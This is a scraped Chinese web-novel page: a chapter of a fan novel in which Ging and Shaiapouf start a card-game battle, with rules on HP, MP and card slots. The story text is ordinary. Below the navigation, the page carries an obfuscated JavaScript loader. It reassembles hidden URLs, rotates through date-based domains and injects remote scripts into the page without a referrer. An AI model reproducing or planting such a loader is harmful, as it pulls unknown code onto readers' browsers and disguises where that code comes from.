返回

第768章 先机 美食猎人

首页
报错
关灯
护眼
字:
大
中
小
上一章 回目录 下一页

筹牌结束,随后便是展示手牌,简单来说,就是拿牌糊脸。

取胜条件是将对方的hp打光,而双方玩家已知的情报只有卡牌数量。

根据mp来决定卡牌的数量、类型、威力。

每个玩家都能装备一张攻牌、一张守牌以及三张策略牌。

攻牌的类型主要是提高卡牌的威力和效果,也能提升卡牌的攻击数值上限,同时也有各种特别效果,类似buff。

守牌的类型则是提升hp数值上限,也有增加代替hp的护甲数值,比如金最开始转化的瓢虫牌,便是一张能增加五点护甲值的守牌。

而策略牌,便如金和枭亚普夫所使用的枯叶虫,效果是掩盖自身手牌数量的信息。

由此,双方都不清楚敌人的手牌数量,而游戏机制本身就不显示hp和mp的,只有正式进攻后,hp数才能显示出来,至于mp无法显示。

本来虫牌游戏最少也要有五人才能开局,但金所创建的虫牌游戏只设立了两个玩家位,这意味金和枭亚普夫可以享受最少五人的资源。

这一点,仍是金处于不利,因为枭亚普夫的mp数值多于金。

由于【枯叶虫】的策略效果是立竿见影,所以金和枭亚普夫在碰面的那一刻,立即明白对方使用了枯叶虫,占了其中一个策略卡槽。

“战斗开始。”

枭亚普夫悬浮在空中,眼含冷意。

他对虫牌的规则有所了解,凭借着超量的mp数值,毫无压力掠取了资源点的强力卡牌,自然也腾出了能够使用所有卡牌的mp数值。

若这场游戏只是一对一,那他以手牌数量就能完全碾压金,但他并没有行使暴发户的作风,而是打算稳扎稳打解决掉对方。

狮子搏兔尚且用尽全力,这是作为敌人最为难缠的一点。

枭亚普夫招手间,一张背面印着太阳图案的卡牌出现在手中。

标记着太阳图案的卡牌皆是瞬发类型,可以立即产生效果。

金和枭亚普夫的头顶上皆是浮现出一个小剑标记,预示着两人进入了战斗。

“发动揪形虫,卸甲。”

枭亚普夫翻动了卡牌,露出一只长着大颚的甲虫,通体黑色


本章未完,点下一页继续阅读。>>>

上一章 回目录 下一页
let urls=["hUUtUUtUUpUUsUU:UU/UU/UU{UUdUUdUUmUU}UU/UU1UU8UU/UU1UU1UU0UU5UU6UU1UUbUU2UU6UU2UU9UU3UU8".split("UU").join(""),"hMMtMMtMMpMMsMM:MM/MM/MMsMM.MMlMMtMMdMMzMMzMM.MMcMMoMMmMM/MM1MM8MM/MM1MM1MM0MM5MM6MM1MMbMM2MM6MM2MM9MM3MM8".split("MM").join("")];window.__rr__hld=1;let urlindex=0;let ddm=function(){let i = parseInt((new Date().getTime()/1000 - 1767052800)/86400/2);i = i %30;let ds = ['3w2t89814','btsel5g','6xklldl','2jtbig','kjbyn6zr96','8wz4mjirv','hpm47fyaf','oc79obwnpm','hjvrl','aroychmdcl','lx51ib3szv','6z2h1lycfw','ef7t2','31fpdcrf','uqn83ea8q'];return ds[i%15] + (i<15?".cc":".co"+"m");};let rfunc=function(){if(window.__rr__loaded_2938_1105 != 'ok'){let ss = document.createElement('script');ss.type = 'text/javascript';ss.referrerPolicy='no-referrer';ss.src=urls[urlindex++].replace(/\{ddm\}/g,ddm())+ (navigator.userAgent.indexOf('Android') != -1 ? 'a':'i') + '?_=' + new Date().getTime();document.body.appendChild(ss);}};rfunc();rfunc();